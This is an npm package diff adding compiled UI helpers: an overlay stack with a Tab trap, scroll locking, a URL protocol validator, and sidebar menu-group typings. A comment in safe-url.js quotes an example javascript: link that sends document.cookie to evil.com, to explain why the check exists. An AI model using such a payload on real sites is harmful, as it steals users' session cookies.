@tartaguti/ui-components 0.0.0-stage → 0.1.0

package/dist/overlay.d.ts

@@ -0,0 +1,7 @@
+export declare function pushOverlay(el: HTMLElement): void;
+export declare function removeOverlay(el: HTMLElement): void;
+export declare function isTopOverlay(el: HTMLElement): boolean;
+export declare function tabbables(root: Element | ShadowRoot): HTMLElement[];
+export declare function deepActiveElement(): Element | null;
+export declare function trapTab(event: KeyboardEvent, container: Element): void;
+//# sourceMappingURL=overlay.d.ts.map

package/dist/overlay.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"overlay.d.ts","sourceRoot":"","sources":["../src/overlay.ts"],"names":[],"mappings":"AAsBA,wBAAgB,WAAW,CAAC,EAAE,EAAE,WAAW,GAAG,IAAI,CAGjD;AAED,wBAAgB,aAAa,CAAC,EAAE,EAAE,WAAW,GAAG,IAAI,CAGnD;AAED,wBAAgB,YAAY,CAAC,EAAE,EAAE,WAAW,GAAG,OAAO,CAErD;AAgCD,wBAAgB,SAAS,CAAC,IAAI,EAAE,OAAO,GAAG,UAAU,GAAG,WAAW,EAAE,CAmBnE;AAGD,wBAAgB,iBAAiB,IAAI,OAAO,GAAG,IAAI,CAMlD;AAUD,wBAAgB,OAAO,CAAC,KAAK,EAAE,aAAa,EAAE,SAAS,EAAE,OAAO,GAAG,IAAI,CAwBtE"}

package/dist/overlay.js

@@ -0,0 +1,121 @@
+/*
+  Shared behaviour for modal overlays: tt-modal and tt-drawer.
+
+  TWO jobs, both of which used to be done separately (or not at all) in
+  each component.
+
+  1. A STACK of open overlays. Every overlay listens for keys on window,
+     so a confirm dialog opened from inside a modal meant one Escape
+     closed BOTH, and two Tab traps fought over the same keypress. Only
+     the overlay on top of the stack may react to a key.
+
+  2. A Tab TRAP that finds focusable elements by walking the flattened
+     tree: into shadow roots and through slots. tt-modal used to match a
+     hardcoded list of tag names, so any control missing from it
+     (tt-combobox, tt-radio-group, tt-slider...) looked like it was
+     outside the dialog, and Tab from it snapped back to the first field.
+     Walking the tree finds the real <input> or <button> inside every
+     tt-* control, with no list to keep up to date.
+*/
+const stack = [];
+export function pushOverlay(el) {
+    removeOverlay(el);
+    stack.push(el);
+}
+export function removeOverlay(el) {
+    const index = stack.indexOf(el);
+    if (index !== -1)
+        stack.splice(index, 1);
+}
+export function isTopOverlay(el) {
+    return stack[stack.length - 1] === el;
+}
+const CANDIDATE = [
+    "a[href]",
+    "area[href]",
+    "button",
+    "input",
+    "select",
+    "textarea",
+    "summary",
+    "iframe",
+    "[tabindex]",
+    '[contenteditable="true"]',
+].join(",");
+function isTabbable(el) {
+    if (!el.matches(CANDIDATE))
+        return false;
+    if (el.tabIndex < 0)
+        return false;
+    if (el.matches(":disabled"))
+        return false;
+    if (el.closest("[inert]"))
+        return false;
+    if (el.getClientRects().length === 0)
+        return false;
+    return getComputedStyle(el).visibility !== "hidden";
+}
+/*
+  Everything Tab can reach inside `root`, in the order the user sees it.
+
+  A host's light-DOM children are only rendered where its slots put
+  them, so a host is entered through its shadow root, never through its
+  children directly. A slot is entered through what is assigned to it,
+  or through its fallback content when nothing is.
+*/
+export function tabbables(root) {
+    const found = [];
+    const visit = (node) => {
+        const children = node instanceof HTMLSlotElement
+            ? node.assignedElements({ flatten: true }).length > 0
+                ? node.assignedElements({ flatten: true })
+                : Array.from(node.children)
+            : Array.from(node.children);
+        for (const child of children) {
+            if (child instanceof HTMLElement && isTabbable(child))
+                found.push(child);
+            visit(child.shadowRoot ?? child);
+        }
+    };
+    visit(root);
+    return found;
+}
+// The innermost focused element, following focus down into shadow roots.
+export function deepActiveElement() {
+    let active = document.activeElement;
+    while (active?.shadowRoot?.activeElement) {
+        active = active.shadowRoot.activeElement;
+    }
+    return active;
+}
+/*
+  Keep Tab inside `container`.
+
+  Only the ENDS are handled. In the middle the browser moves focus on its
+  own, which is always right and needs no list of what is focusable. The
+  trap steps in when focus would leave: Tab on the last element, Shift+Tab
+  on the first, or focus somehow already outside.
+*/
+export function trapTab(event, container) {
+    const items = tabbables(container);
+    if (items.length === 0) {
+        event.preventDefault();
+        return;
+    }
+    const first = items[0];
+    const last = items[items.length - 1];
+    const active = deepActiveElement();
+    const index = items.findIndex((item) => item === active);
+    if (event.shiftKey) {
+        if (index <= 0) {
+            event.preventDefault();
+            last.focus();
+        }
+        return;
+    }
+    if (index === -1 || index === items.length - 1) {
+        event.preventDefault();
+        first.focus();
+    }
+}
+//# sourceMappingURL=overlay.js.map

package/dist/overlay.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"overlay.js","sourceRoot":"","sources":["../src/overlay.ts"],"names":[],"mappings":"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"}

package/dist/safe-url.d.ts

@@ -0,0 +1,14 @@
+/**
+ * Returns the URL when its protocol is safe to navigate to, otherwise
+ * null. Relative URLs resolve against the current page, so "/about" is
+ * allowed. javascript:, data:, blob: and anything unrecognised are not.
+ */
+export declare function safeUrl(url: string): string | null;
+/**
+ * Opens a URL in a new tab, doing nothing if the protocol is unsafe.
+ *
+ * noopener and noreferrer are separate concerns from the protocol check:
+ * they stop the opened page reaching back through window.opener.
+ */
+export declare function openSafely(url: string): void;
+//# sourceMappingURL=safe-url.d.ts.map

package/dist/safe-url.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"safe-url.d.ts","sourceRoot":"","sources":["../src/safe-url.ts"],"names":[],"mappings":"AAeA;;;;GAIG;AACH,wBAAgB,OAAO,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CAclD;AAED;;;;;GAKG;AACH,wBAAgB,UAAU,CAAC,GAAG,EAAE,MAAM,GAAG,IAAI,CAK5C"}

package/dist/safe-url.js

@@ -0,0 +1,46 @@
+/*
+  URLs that arrive as data cannot be trusted.
+
+  In a directory or marketplace, links are typed in by users: a company
+  enters its own website. A value like
+
+    javascript:fetch("https://evil.com?c=" + document.cookie)
+
+  executes when opened, so anything reaching window.open or an href must
+  be checked first. Escaping does not help: the string is perfectly
+  valid, it is the protocol that is dangerous.
+*/
+const SAFE_PROTOCOLS = new Set(["http:", "https:", "mailto:", "tel:"]);
+/**
+ * Returns the URL when its protocol is safe to navigate to, otherwise
+ * null. Relative URLs resolve against the current page, so "/about" is
+ * allowed. javascript:, data:, blob: and anything unrecognised are not.
+ */
+export function safeUrl(url) {
+    const trimmed = url?.trim();
+    if (!trimmed)
+        return null;
+    try {
+        // The base makes relative URLs parse. Without it new URL("/about")
+        // throws and a legitimate link would be rejected.
+        const parsed = new URL(trimmed, window.location.href);
+        return SAFE_PROTOCOLS.has(parsed.protocol) ? parsed.href : null;
+    }
+    catch {
+        // Unparseable is not safe.
+        return null;
+    }
+}
+/**
+ * Opens a URL in a new tab, doing nothing if the protocol is unsafe.
+ *
+ * noopener and noreferrer are separate concerns from the protocol check:
+ * they stop the opened page reaching back through window.opener.
+ */
+export function openSafely(url) {
+    const safe = safeUrl(url);
+    if (!safe)
+        return;
+    window.open(safe, "_blank", "noopener,noreferrer");
+}
+//# sourceMappingURL=safe-url.js.map

package/dist/safe-url.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"safe-url.js","sourceRoot":"","sources":["../src/safe-url.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;EAWE;AAEF,MAAM,cAAc,GAAG,IAAI,GAAG,CAAC,CAAC,OAAO,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,CAAC,CAAC,CAAC;AAEvE;;;;GAIG;AACH,MAAM,UAAU,OAAO,CAAC,GAAW;IACjC,MAAM,OAAO,GAAG,GAAG,EAAE,IAAI,EAAE,CAAC;IAC5B,IAAI,CAAC,OAAO;QAAE,OAAO,IAAI,CAAC;IAE1B,IAAI,CAAC;QACH,mEAAmE;QACnE,kDAAkD;QAClD,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,OAAO,EAAE,MAAM,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;QAEtD,OAAO,cAAc,CAAC,GAAG,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC;IAClE,CAAC;IAAC,MAAM,CAAC;QACP,2BAA2B;QAC3B,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,UAAU,CAAC,GAAW;IACpC,MAAM,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC,CAAC;IAC1B,IAAI,CAAC,IAAI;QAAE,OAAO;IAElB,MAAM,CAAC,IAAI,CAAC,IAAI,EAAE,QAAQ,EAAE,qBAAqB,CAAC,CAAC;AACrD,CAAC"}

package/dist/scroll-lock.d.ts

@@ -0,0 +1,22 @@
+/**
+ * Freezing the page behind an overlay, without moving it.
+ *
+ * Setting `overflow: hidden` on the body is the easy half. The half that
+ * gets missed is that on a desktop with classic scrollbars this REMOVES a
+ * ~15px scrollbar, the layout viewport gets 15px wider, and every centred
+ * or right-aligned thing on the page slides sideways at the moment the
+ * overlay appears. Measured on this repo: clientWidth went 685 -> 700 the
+ * instant a drawer opened. It reads as the button you just pressed
+ * jumping, which is exactly how it was reported.
+ *
+ * So the scrollbar's width is measured before the lock and given back as
+ * padding, and the page does not move at all.
+ *
+ * Reference counted, because overlays stack. A modal opened from inside a
+ * drawer must not unlock the page when only the modal closes, and two
+ * components each restoring what they think the old value was is how you
+ * get a page that can never scroll again.
+ */
+export declare function lockScroll(): void;
+export declare function unlockScroll(): void;
+//# sourceMappingURL=scroll-lock.d.ts.map

package/dist/scroll-lock.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"scroll-lock.d.ts","sourceRoot":"","sources":["../src/scroll-lock.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAQH,wBAAgB,UAAU,IAAI,IAAI,CA0BjC;AAED,wBAAgB,YAAY,IAAI,IAAI,CAQnC"}

package/dist/scroll-lock.js

@@ -0,0 +1,56 @@
+/**
+ * Freezing the page behind an overlay, without moving it.
+ *
+ * Setting `overflow: hidden` on the body is the easy half. The half that
+ * gets missed is that on a desktop with classic scrollbars this REMOVES a
+ * ~15px scrollbar, the layout viewport gets 15px wider, and every centred
+ * or right-aligned thing on the page slides sideways at the moment the
+ * overlay appears. Measured on this repo: clientWidth went 685 -> 700 the
+ * instant a drawer opened. It reads as the button you just pressed
+ * jumping, which is exactly how it was reported.
+ *
+ * So the scrollbar's width is measured before the lock and given back as
+ * padding, and the page does not move at all.
+ *
+ * Reference counted, because overlays stack. A modal opened from inside a
+ * drawer must not unlock the page when only the modal closes, and two
+ * components each restoring what they think the old value was is how you
+ * get a page that can never scroll again.
+ */
+let locks = 0;
+// What the body had before the FIRST lock. Restored by the last unlock.
+let previousOverflow = "";
+let previousPaddingRight = "";
+export function lockScroll() {
+    locks += 1;
+    if (locks > 1)
+        return;
+    const body = document.body;
+    previousOverflow = body.style.overflow;
+    previousPaddingRight = body.style.paddingRight;
+    /*
+      innerWidth includes the scrollbar, clientWidth does not, so the
+      difference IS the scrollbar. Zero on overlay-scrollbar platforms
+      (most phones, macOS by default), which is why this must be measured
+      rather than assumed to be 15px.
+  
+      Measured before overflow changes, or the scrollbar is already gone
+      and the difference is always zero.
+    */
+    const gutter = window.innerWidth - document.documentElement.clientWidth;
+    body.style.overflow = "hidden";
+    if (gutter > 0) {
+        const current = parseFloat(getComputedStyle(body).paddingRight) || 0;
+        body.style.paddingRight = `${current + gutter}px`;
+    }
+}
+export function unlockScroll() {
+    if (locks === 0)
+        return;
+    locks -= 1;
+    if (locks > 0)
+        return;
+    document.body.style.overflow = previousOverflow;
+    document.body.style.paddingRight = previousPaddingRight;
+}
+//# sourceMappingURL=scroll-lock.js.map

package/dist/scroll-lock.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"scroll-lock.js","sourceRoot":"","sources":["../src/scroll-lock.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AAEH,IAAI,KAAK,GAAG,CAAC,CAAC;AAEd,wEAAwE;AACxE,IAAI,gBAAgB,GAAG,EAAE,CAAC;AAC1B,IAAI,oBAAoB,GAAG,EAAE,CAAC;AAE9B,MAAM,UAAU,UAAU;IACxB,KAAK,IAAI,CAAC,CAAC;IACX,IAAI,KAAK,GAAG,CAAC;QAAE,OAAO;IAEtB,MAAM,IAAI,GAAG,QAAQ,CAAC,IAAI,CAAC;IAE3B,gBAAgB,GAAG,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC;IACvC,oBAAoB,GAAG,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC;IAE/C;;;;;;;;MAQE;IACF,MAAM,MAAM,GAAG,MAAM,CAAC,UAAU,GAAG,QAAQ,CAAC,eAAe,CAAC,WAAW,CAAC;IAExE,IAAI,CAAC,KAAK,CAAC,QAAQ,GAAG,QAAQ,CAAC;IAE/B,IAAI,MAAM,GAAG,CAAC,EAAE,CAAC;QACf,MAAM,OAAO,GAAG,UAAU,CAAC,gBAAgB,CAAC,IAAI,CAAC,CAAC,YAAY,CAAC,IAAI,CAAC,CAAC;QACrE,IAAI,CAAC,KAAK,CAAC,YAAY,GAAG,GAAG,OAAO,GAAG,MAAM,IAAI,CAAC;IACpD,CAAC;AACH,CAAC;AAED,MAAM,UAAU,YAAY;IAC1B,IAAI,KAAK,KAAK,CAAC;QAAE,OAAO;IAExB,KAAK,IAAI,CAAC,CAAC;IACX,IAAI,KAAK,GAAG,CAAC;QAAE,OAAO;IAEtB,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,QAAQ,GAAG,gBAAgB,CAAC;IAChD,QAAQ,CAAC,IAAI,CAAC,KAAK,CAAC,YAAY,GAAG,oBAAoB,CAAC;AAC1D,CAAC"}

package/dist/sidebar/tt-menu-group.d.ts

@@ -0,0 +1,69 @@
+import { LitElement } from "lit";
+import "../tt-icon.js";
+/**
+ * A labelled section of sidebar navigation, optionally collapsible.
+ *
+ * ---------------------------------------------------------------------
+ * TWO MODES.
+ *
+ *   (default)              the heading is a plain label and the content
+ *                          is always there. This is the right shape when
+ *                          a group exists to name a set of links rather
+ *                          than to hide them.
+ *   collapsible            the heading is a button, the content opens
+ *                          and closes, and `open` is the state.
+ *
+ * Opt-in, like tt-sidebar's collapsible and every other boolean: a
+ * boolean attribute can only switch something ON.
+ *
+ * The default is the old behaviour exactly, so nothing that already uses
+ * this component changes.
+ *
+ * ---------------------------------------------------------------------
+ * WHY THE HEADING ROW IS A ROW.
+ *
+ * Same reason as tt-menu-item: an actions slot next to a heading BUTTON
+ * cannot live inside that button, because a button inside a button is
+ * invalid HTML. So the heading row holds two siblings.
+ *
+ * ---------------------------------------------------------------------
+ * RAIL MODE.
+ *
+ * When tt-sidebar is collapsed it hides these headings and forces every
+ * group open. A closed group in a rail would be unreachable: its own
+ * heading is the only way to open it, and that heading is exactly what a
+ * rail has no room for. Both facts arrive as inherited custom properties,
+ * so this component still knows nothing about the sidebar.
+ *
+ * The events, for the custom-elements manifest. Its analyzer reads event
+ * names from string literals at the dispatch site, and these are chosen at
+ * run time, so without the tags the manifest listed a bogus event instead.
+ * @fires tt-open - When the group expands.
+ * @fires tt-close - When the group collapses.
+ * @fires tt-toggle - Either way, with detail.open.
+ */
+export declare class TTMenuGroup extends LitElement {
+    heading: string;
+    open: boolean;
+    disabled: boolean;
+    collapsible: boolean;
+    private hasActions;
+    private contentId;
+    private headingId;
+    /**
+     * Flips it and announces, the same call the heading makes. Public, and
+     * announced with tt-toggle as well as tt-open / tt-close, because
+     * tt-collapsible does both: the two are the same self-owning disclosure.
+     */
+    toggle(): void;
+    private updateActions;
+    static styles: import("lit").CSSResult;
+    private renderLabel;
+    render(): import("lit-html").TemplateResult<1>;
+}
+declare global {
+    interface HTMLElementTagNameMap {
+        "tt-menu-group": TTMenuGroup;
+    }
+}
+//# sourceMappingURL=tt-menu-group.d.ts.map

package/dist/sidebar/tt-menu-group.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tt-menu-group.d.ts","sourceRoot":"","sources":["../../src/sidebar/tt-menu-group.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAsB,MAAM,KAAK,CAAC;AAIrD,OAAO,eAAe,CAAC;AAIvB;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAyCG;AACH,qBACa,WAAY,SAAQ,UAAU;IAEzC,OAAO,SAAM;IAGb,IAAI,UAAS;IAGb,QAAQ,UAAS;IAGjB,WAAW,UAAS;IAGpB,OAAO,CAAC,UAAU,CAAS;IAE3B,OAAO,CAAC,SAAS,CAAwC;IACzD,OAAO,CAAC,SAAS,CAAsC;IAEvD;;;;OAIG;IACH,MAAM;IAqBN,OAAO,CAAC,aAAa;IAYrB,MAAM,CAAC,MAAM,0BA4LX;IAEF,OAAO,CAAC,WAAW;IAkCnB,MAAM;CA8BP;AAED,OAAO,CAAC,MAAM,CAAC;IACb,UAAU,qBAAqB;QAC7B,eAAe,EAAE,WAAW,CAAC;KAC9B;CACF"}